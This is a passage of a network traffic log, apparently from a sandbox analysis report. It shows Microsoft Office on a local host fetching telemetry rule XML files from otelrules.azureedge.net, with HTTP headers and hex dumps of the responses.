2024-11-24 03:23:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:02 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032302Z-178bfbc474brk967hC1NYCfu60000000053000000000htuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:02 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:02 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:02 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:02 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032302Z-178bfbc474bwlrhlhC1NYCy3kg00000005e0000000005tdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:23:02 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:02 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:02 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 45806a8e-701e-003e-807c-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032302Z-174c587ffdfks6tlhC1TEBeza400000003yg000000009f3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:02 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:04 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:04 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032304Z-178bfbc474bv587zhC1NYCny5w000000056g00000000fq7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:04 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:04 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:04 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 0da4534b-a01e-0053-0345-3d8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032304Z-174c587ffdfb74xqhC1TEBhabc00000003s000000000qwc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:04 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:04 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:04 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 529557e1-c01e-0079-5045-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032304Z-15b8b599d88phfhnhC1TEBr51n000000040g00000000804m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:04 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:04 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:04 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032304Z-178bfbc474bgvl54hC1NYCsfuw000000058000000000ngwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:04 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:04 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032304Z-174c587ffdfp4vpjhC1TEBybqw00000003tg00000000hbr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:05 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:06 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:06 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e88bdfa1-301e-003f-630e-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032306Z-178bfbc474brk967hC1NYCfu600000000570000000007878 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:06 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:06 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:06 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4d8c69aa-d01e-0028-1552-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032306Z-15b8b599d882zv28hC1TEBdchn00000003w0000000000vap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:06 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:06 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:07 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032307Z-174c587ffdfcb7qhhC1TEB3x7000000003y000000000b42b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:07 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:06 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: fa2bbe9c-f01e-0052-6fac-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032307Z-15b8b599d88wk8w4hC1TEB14b80000000400000000001824 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" 